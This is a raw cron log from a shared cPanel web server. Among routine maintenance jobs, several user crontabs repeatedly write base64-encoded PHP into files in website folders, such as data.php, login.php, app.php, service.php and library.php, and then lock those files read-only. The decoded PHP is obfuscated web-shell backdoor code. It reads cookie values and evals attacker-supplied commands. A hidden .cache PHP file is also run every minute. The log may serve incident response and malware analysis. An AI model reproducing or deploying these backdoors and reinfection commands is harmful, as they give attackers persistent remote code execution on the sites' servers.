AgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:48:02 medusa CROND[15851]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:48:02 medusa CROND[15855]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:48:02 medusa CROND[15856]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:48:02 medusa CROND[15857]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:48:02 medusa CROND[15860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:48:02 medusa CROND[15861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:48:02 medusa CROND[15862]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:48:02 medusa CROND[15863]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:48:02 medusa CROND[15865]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:48:02 medusa CROND[15867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:48:02 medusa CROND[15868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:48:02 medusa CROND[15869]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:49:01 medusa CROND[671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:49:01 medusa CROND[811]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:49:01 medusa CROND[822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:49:01 medusa CROND[823]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:49:01 medusa CROND[828]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:49:01 medusa CROND[827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:49:01 medusa CROND[821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:49:01 medusa CROND[829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:49:01 medusa CROND[830]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:49:01 medusa CROND[831]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:49:01 medusa CROND[832]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:49:01 medusa CROND[833]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:50:01 medusa CROND[22610]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:50:01 medusa CROND[22671]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:50:02 medusa CROND[22731]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:50:02 medusa CROND[22811]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:50:02 medusa CROND[22814]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:50:02 medusa CROND[22815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:50:02 medusa CROND[22819]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  2 08:50:02 medusa CROND[22820]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:50:02 medusa CROND[22822]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:50:02 medusa CROND[22826]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:50:02 medusa CROND[22828]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:50:02 medusa CROND[22825]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:50:02 medusa CROND[22839]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
